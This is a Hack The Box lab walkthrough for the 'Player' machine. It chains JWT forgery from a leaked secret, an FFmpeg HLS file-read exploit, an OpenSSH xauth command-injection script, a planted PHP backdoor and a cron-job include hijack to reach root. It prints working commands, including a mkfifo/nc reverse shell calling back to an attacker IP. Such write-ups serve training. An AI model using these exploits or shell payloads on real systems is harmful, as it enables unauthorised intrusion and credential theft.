内容简介:My write-up / walkthrough for Player from Hack The Box.As always we will start withWe got
My write-up / walkthrough for Player from Hack The Box.
Quick Summary
Hey guys, today Player retired and here’s my write-up about it. It was a relatively hard CTF-style machine with a lot of enumeration and a couple of interesting exploits. It’s a Linux box and its ip is 10.10.10.145 , I added it to /etc/hosts as player.htb . Let’s jump right in !
Nmap
As always we will start with nmap to scan for open ports and services:
root@kali:~/Desktop/HTB/boxes/player# nmap -sV -sT -sC -o nmapinitial player.htb Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-17 16:29 EST Nmap scan report for player.htb (10.10.10.145) Host is up (0.35s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.11 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 d7:30:db:b9:a0:4c:79:94:78:38:b3:43:a2:50:55:81 (DSA) | 2048 37:2b:e4:31:ee:a6:49:0d:9f:e7:e6:01:e6:3e:0a:66 (RSA) | 256 0c:6c:05:ed:ad:f1:75:e8:02:e4:d2:27:3e:3a:19:8f (ECDSA) |_ 256 11:b8:db:f3:cc:29:08:4a:49:ce:bf:91:73:40:a2:80 (ED25519) 80/tcp open http Apache httpd 2.4.7 |_http-server-header: Apache/2.4.7 (Ubuntu) |_http-title: 403 Forbidden Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 75.12 seconds root@kali:~/Desktop/HTB/boxes/player#
We got http on port 80 and ssh on port 22.
Web Enumeration
I got a 403 response when I went to http://player.htb/ :
I used wfuzz with subdomains-top1mil-5000.txt from seclists to enumerate virtual hosts and got these results:
root@kali:~/Desktop/HTB/boxes/player# wfuzz --hc 403 -c -w subdomains-top1mil-5000.txt -H "HOST: FUZZ.player.htb" http://10.10.10.145 Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 2.4 - The Web Fuzzer * ******************************************************** Target: http://10.10.10.145/ Total requests: 4997 =================================================================== ID Response Lines Word Chars Payload =================================================================== 000000019: 200 86 L 229 W 5243 Ch "dev" 000000067: 200 63 L 180 W 1470 Ch "staging" 000000070: 200 259 L 714 W 9513 Ch "chat" Total time: 129.1540 Processed Requests: 4997 Filtered Requests: 4994 Requests/sec.: 38.69021 root@kali:~/Desktop/HTB/boxes/player#
I added them to my hosts file and started checking each one of them.
On dev there was an application that needed credentials so we’ll skip that one until we find some credentials:
staging was kinda empty but there was an interesting contact form:
The form was interesting because when I attempted to submit it I got a weird error for a second then I got redirected to /501.php :
I intercepted the request with burp to read the error.
Request:
GET /contact.php?firstname=test&subject=test HTTP/1.1 Host: staging.player.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://staging.player.htb/contact.html Connection: close Upgrade-Insecure-Requests: 1
Response:
HTTP/1.1 200 OK
Date: Fri, 17 Jan 2020 19:54:33 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.26
refresh: 0;url=501.php
Vary: Accept-Encoding
Content-Length: 818
Connection: close
Content-Type: text/html
array(3) {
[0]=>
array(4) {
["file"]=>
string(28) "/var/www/staging/contact.php"
["line"]=>
int(6)
["function"]=>
string(1) "c"
["args"]=>
array(1) {
[0]=>
&string(9) "Cleveland"
}
}
[1]=>
array(4) {
["file"]=>
string(28) "/var/www/staging/contact.php"
["line"]=>
int(3)
["function"]=>
string(1) "b"
["args"]=>
array(1) {
[0]=>
&string(5) "Glenn"
}
}
[2]=>
array(4) {
["file"]=>
string(28) "/var/www/staging/contact.php"
["line"]=>
int(11)
["function"]=>
string(1) "a"
["args"]=>
array(1) {
[0]=>
&string(5) "Peter"
}
}
}
Database connection failed.<html><br />Unknown variable user in /var/www/backup/service_config fatal error in /var/www/staging/fix.php
The error exposed some filenames like /var/www/backup/service_config , /var/www/staging/fix.php and /var/www/staging/contact.php . That will be helpful later.
chat was a static page that simulated a chat application:
I took a quick look at the chat history between Olla and Vincent, Olla asked him about some pentest reports and he replied with 2 interesting things :
- Staging exposing sensitive files.
- Main domain exposing source code allowing to access the product before release.
We already saw that staging was exposing files, I ran gobuster on the main domain and found /launcher :
root@kali:~/Desktop/HTB/boxes/player# gobuster dir -u http://player.htb/ -w /usr/share/wordlists/dirb/common.txt =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://player.htb/ [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirb/common.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Timeout: 10s =============================================================== 2020/01/17 19:17:29 Starting gobuster =============================================================== /.hta (Status: 403) /.htaccess (Status: 403) /.htpasswd (Status: 403) /launcher (Status: 301) /server-status (Status: 403) =============================================================== 2020/01/17 19:18:59 Finished =============================================================== root@kali:~/Desktop/HTB/boxes/player#
http://player.htb/launcher :
I tried to submit that form but it did nothing, I just got redirected to /launcher again:
Request:
GET /launcher/dee8dc8a47256c64630d803a4c40786c.php HTTP/1.1 Host: player.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://player.htb/launcher/index.html Connection: close Cookie: access=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwcm9qZWN0IjoiUGxheUJ1ZmYiLCJhY2Nlc3NfY29kZSI6IkMwQjEzN0ZFMkQ3OTI0NTlGMjZGRjc2M0NDRTQ0NTc0QTVCNUFCMDMifQ.cjGwng6JiMiOWZGz7saOdOuhyr1vad5hAxOJCiM3uzU Upgrade-Insecure-Requests: 1
Response:
HTTP/1.1 302 Found Date: Fri, 17 Jan 2020 22:45:04 GMT Server: Apache/2.4.7 (Ubuntu) X-Powered-By: PHP/5.5.9-1ubuntu4.26 Location: index.html Content-Length: 0 Connection: close Content-Type: text/html
We know from the chat that the source code is exposed somewhere, I wanted to read the source of /launcher/dee8dc8a47256c64630d803a4c40786c.php so I tried some basic stuff like adding .swp , .bak and ~ after the file name. ~ worked (check this out):
root@kali:~/Desktop/HTB/boxes/player# curl http://player.htb/launcher/dee8dc8a47256c64630d803a4c40786c.php~
<?php
require 'vendor/autoload.php';
use \Firebase\JWT\JWT;
if(isset($_COOKIE["access"]))
{
$key = '_S0_R@nd0m_P@ss_';
$decoded = JWT::decode($_COOKIE["access"], base64_decode(strtr($key, '-_', '+/')), ['HS256']);
if($decoded->access_code === "0E76658526655756207688271159624026011393")
{
header("Location: 7F2xxxxxxxxxxxxx/");
}
else
{
header("Location: index.html");
}
}
else
{
$token_payload = [
'project' => 'PlayBuff',
'access_code' => 'C0B137FE2D792459F26FF763CCE44574A5B5AB03'
];
$key = '_S0_R@nd0m_P@ss_';
$jwt = JWT::encode($token_payload, base64_decode(strtr($key, '-_', '+/')), 'HS256');
$cookiename = 'access';
setcookie('access',$jwt, time() + (86400 * 30), "/");
header("Location: index.html");
}
?>
root@kali:~/Desktop/HTB/boxes/player#
It decodes the JWT token from the cookie access and redirects us to a redacted path if the value of access_code was 0E76658526655756207688271159624026011393 , otherwise it will assign an access cookie for us with C0B137FE2D792459F26FF763CCE44574A5B5AB03 as the value of access_code and redirect us to index.html .
We have the secret _S0_R@nd0m_P@ss_ so we can easily craft a valid cookie. I used jwt.io to edit my token.
I used the cookie and got redirected to /7F2dcsSdZo6nj3SNMTQ1 :
Request:
GET /launcher/dee8dc8a47256c64630d803a4c40786c.php HTTP/1.1 Host: player.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://player.htb/launcher/index.html Connection: close Cookie: access=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwcm9qZWN0IjoiUGxheUJ1ZmYiLCJhY2Nlc3NfY29kZSI6IjBFNzY2NTg1MjY2NTU3NTYyMDc2ODgyNzExNTk2MjQwMjYwMTEzOTMifQ.VXuTKqw__J4YgcgtOdNDgsLgrFjhN1_WwspYNf_FjyE Upgrade-Insecure-Requests: 1
Response:
HTTP/1.1 302 Found Date: Fri, 17 Jan 2020 22:50:59 GMT Server: Apache/2.4.7 (Ubuntu) X-Powered-By: PHP/5.5.9-1ubuntu4.26 Location: 7F2dcsSdZo6nj3SNMTQ1/ Content-Length: 0 Connection: close Content-Type: text/html
FFmpeg HLS Vulnerability –> Arbitrary File Read
I uploaded a test txt file:
I got an avi file as a result which was weird:
<a href="http:\/\/player.htb/launcher/7F2dcsSdZo6nj3SNMTQ1/uploads/518515582.avi">
I tried some other file formats and I also got an avi file.
So I tried the ffmpeg HLS exploit , I created a test avi to read /etc/passwd and it worked:
root@kali:~/Desktop/HTB/boxes/player/avi# ./gen_xbin_avi.py file:///etc/passwd test.avi root@kali:~/Desktop/HTB/boxes/player/avi# file test.avi test.avi: RIFF (little-endian) data, AVI, 224 x 160, 25.00 fps, root@kali:~/Desktop/HTB/boxes/player/avi#
I created 3 more
avi s to read the files we got earlier from the error message from staging :
root@kali:~/Desktop/HTB/boxes/player/avi# ./gen_xbin_avi.py file:///var/www/staging/contact.php contact.avi root@kali:~/Desktop/HTB/boxes/player/avi# ./gen_xbin_avi.py file:///var/www/backup/service_config service_config.avi root@kali:~/Desktop/HTB/boxes/player/avi# ./gen_xbin_avi.py file:///var/www/staging/fix.php fix.avi root@kali:~/Desktop/HTB/boxes/player/avi#
contact.php didn’t have anything interesting and the avi for fix.php was empty for some reason. In service_config there were some credentials for a user called telegen :
I tried these credentials with ssh and with dev.player.htb and they didn’t work. I ran a quick full port scan with masscan and turns out that there was another open port:
root@kali:~/Desktop/HTB/boxes/player# masscan -p1-65535 10.10.10.145 --rate=1000 -e tun0 Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-01-18 00:09:24 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [65535 ports/host] Discovered open port 22/tcp on 10.10.10.145 Discovered open port 80/tcp on 10.10.10.145 Discovered open port 6686/tcp on 10.10.10.145
I scanned that port with nmap but it couldn’t identify the service:
PORT STATE SERVICE VERSION 6686/tcp open tcpwrapped
However when I connected to the port with nc the banner indicated that it was an ssh server:
root@kali:~/Desktop/HTB/boxes/player# nc player.htb 6686 SSH-2.0-OpenSSH_7.2 Protocol mismatch. root@kali:~/Desktop/HTB/boxes/player#
I could login to that ssh server with the credentials, but unfortunately I was in a restricted environment:
root@kali:~/Desktop/HTB/boxes/player# ssh telegen@player.htb -p 6686 The authenticity of host '[player.htb]:6686 ([10.10.10.145]:6686)' can't be established. ECDSA key fingerprint is SHA256:oAcCXvit3SHvyq7nuvWntLq+Q+mGlAg8301zhKnJmPM. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '[player.htb]:6686,[10.10.10.145]:6686' (ECDSA) to the list of known hosts. telegen@player.htb's password: Last login: Tue Apr 30 18:40:13 2019 from 192.168.0.104 Environment: USER=telegen LOGNAME=telegen HOME=/home/telegen PATH=/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin MAIL=/var/mail/telegen SHELL=/usr/bin/lshell SSH_CLIENT=10.10.xx.xx 43270 6686 SSH_CONNECTION=10.10.xx.xx 43270 10.10.10.145 6686 SSH_TTY=/dev/pts/4 TERM=screen ========= PlayBuff ========== Welcome to Staging Environment telegen:~$ whoami *** forbidden command: whoami telegen:~$ help clear exit help history lpath lsudo telegen:~$ lsudo Allowed sudo commands: telegen:~$ lpath Allowed: /home/telegen telegen:~$ pwd *** forbidden command: pwd telegen:~$
OpenSSH 7.2p1 xauth Command Injection –> User Flag
When I searched for exploits for that version of openssh I found this exploit .
root@kali:~/Desktop/HTB/boxes/player# python 39569.py
Usage: <host> <port> <username> <password or path_to_privkey>
path_to_privkey - path to private key in pem format, or '.demoprivkey' to use demo private key
root@kali:~/Desktop/HTB/boxes/player# python 39569.py player.htb 6686 telegen 'd-bC|jC!2uepS/w'
INFO:__main__:connecting to: telegen:d-bC|jC!2uepS/w@player.htb:6686
INFO:__main__:connected!
INFO:__main__:
Available commands:
.info
.readfile <path>
.writefile <path> <data>
.exit .quit
<any xauth command or type help>
#> .readfile /etc/passwd
DEBUG:__main__:auth_cookie: 'xxxx\nsource /etc/passwd\n'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
landscape:x:103:109::/var/lib/landscape:/bin/false
telegen:x:1000:1000:telegen,,,:/home/telegen:/usr/bin/lshell
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:105:113:MySQL
colord:x:106:116:colord
staged-dev:x:4000000000:1001::/home/staged-dev:/bin/sh
#>
I tried to use .writefile to write a php file and get a reverse shell but I couldn’t do that. But anyway I was finally able to read the user flag:
Credentials in fix.php –> RCE –> Shell as www-data
Earlier I couldn’t read fix.php through the ffmpeg exploit, I was able to read it as telegen and I found credentials for a user called peter :
#> .readfile /var/www/staging/fix.php
DEBUG:__main__:auth_cookie: 'xxxx\nsource /var/www/staging/fix.php\n'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:<?php
class
protected
protected
protected
public
return
}
public
if($result
static::passed($test_name);
}
static::failed($test_name);
}
}
public
if($result
static::failed($test_name);
}
static::passed($test_name);
}
}
public
if(!$username){
$username
$password
}
//modified
//for
//fix
//peter
//CQXpm\z)G5D#%S$y=
}
public
if($result
static::passed($test_name);
}
static::failed($test_name);
}
}
public
echo
echo
echo
}
private
echo
static::$failed++;
}
private
static::character(".");
static::$passed++;
}
private
echo
static::$last_echoed
}
private
if(static::$last_echoed
echo
static::$last_echoed
}
}
#>
These credentials ( peter : CQXpm\z)G5D#%S$y= ) worked with dev.player.htb :
I tried to create a new project in /var/www/html :
But I got an error saying that I was only allowed to create projects in /var/www/demo/home so I created a project there:
When I ran gobuster on http://dev.player.htb/ there was a directory called home :
root@kali:~/Desktop/HTB/boxes/player# gobuster dir -u http://dev.player.htb/ -w /usr/share/wordlists/dirb/common.txt =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://dev.player.htb/ [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirb/common.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Timeout: 10s =============================================================== 2020/01/17 20:18:00 Starting gobuster =============================================================== /.hta (Status: 403) /.htpasswd (Status: 403) /.htaccess (Status: 403) /components (Status: 301) /data (Status: 301) /favicon.ico (Status: 200) /home (Status: 301) /index.php (Status: 200) /js (Status: 301) /languages (Status: 301) /lib (Status: 301) /plugins (Status: 301) /server-status (Status: 403) /themes (Status: 301) =============================================================== 2020/01/17 20:19:49 Finished =============================================================== root@kali:~/Desktop/HTB/boxes/player#
I wanted to see if that was related to /var/www/demo/home so I created a file called test.php that echoed test and I tried to access it through /home :
It worked so I edited my test file and added the php-simple-backdoor code and got a reverse shell:
root@kali:~/Desktop/HTB/boxes/player# nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.xx.xx] from (UNKNOWN) [10.10.10.145] 56714
/bin/sh: 0: can't access tty; job control turned off
$ which python
/usr/bin/python
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@player:/var/www/demo/home$ ^Z
[1]+ Stopped nc -lvnp 1337
root@kali:~/Desktop/HTB/boxes/player# stty raw -echo
root@kali:~/Desktop/HTB/boxes/player# nc -lvnp 1337
www-data@player:/var/www/demo/home$ export TERM=screen
www-data@player:/var/www/demo/home$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@player:/var/www/demo/home$
Root Flag
when I ran pspy to monitor the processes I noticed that /var/lib/playbuff/buff.php got executed as root periodically:
2020/01/18 05:25:02 CMD: UID=0 PID=3650 | /usr/bin/php /var/lib/playbuff/buff.php
I couldn’t write to it but it included another php file which I could write to ( /var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php ):
www-data@player:/tmp$ cd /var/lib/playbuff/
www-data@player:/var/lib/playbuff$ cat buff.php
<?php
include("/var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php");
class playBuff
{
public $logFile="/var/log/playbuff/logs.txt";
public $logData="Updated";
public function __wakeup()
{
file_put_contents(__DIR__."/".$this->logFile,$this->logData);
}
}
$buff = new playBuff();
$serialbuff = serialize($buff);
$data = file_get_contents("/var/lib/playbuff/merge.log");
if(unserialize($data))
{
$update = file_get_contents("/var/lib/playbuff/logs.txt");
$query = mysqli_query($conn, "update stats set status='$update' where id=1");
if($query)
{
echo 'Update Success with serialized logs!';
}
}
else
{
file_put_contents("/var/lib/playbuff/merge.log","no issues yet");
$update = file_get_contents("/var/lib/playbuff/logs.txt");
$query = mysqli_query($conn, "update stats set status='$update' where id=1");
if($query)
{
echo 'Update Success!';
}
}
?>
www-data@player:/var/lib/playbuff$
I put my reverse shell payload in /tmp and added a line to /var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php that executed it:
www-data@player:/$ cat /var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php
<?php
$servername = "localhost";
$username = "root";
$password = "";
$dbname = "integrity";
system("bash -c /tmp/pwned.sh");
// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);
// Check connection
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
?>
www-data@player:/$ cat /tmp/pwned.sh
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1338 >/tmp/f
www-data@player:/$
And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read theprevious write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.
Previous Hack The Box write-up : Hack The Box - Bitlab
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
程序是怎样跑起来的
[日] 矢泽久雄 / 李逢俊 / 人民邮电出版社 / 2015-4 / 39.00元
本书从计算机的内部结构开始讲起,以图配文的形式详细讲解了二进制、内存、数据压缩、源文件和可执行文件、操作系统和应用程序的关系、汇编语言、硬件控制方法等内容,目的是让读者了解从用户双击程序图标到程序开始运行之间到底发生了什么。同时专设了“如果是你,你会怎样介绍?”专栏,以小学生、老奶奶为对象讲解程序的运行原理,颇为有趣。本书图文并茂,通俗易懂,非常适合计算机爱好者及相关从业人员阅读。一起来看看 《程序是怎样跑起来的》 这本书的介绍吧!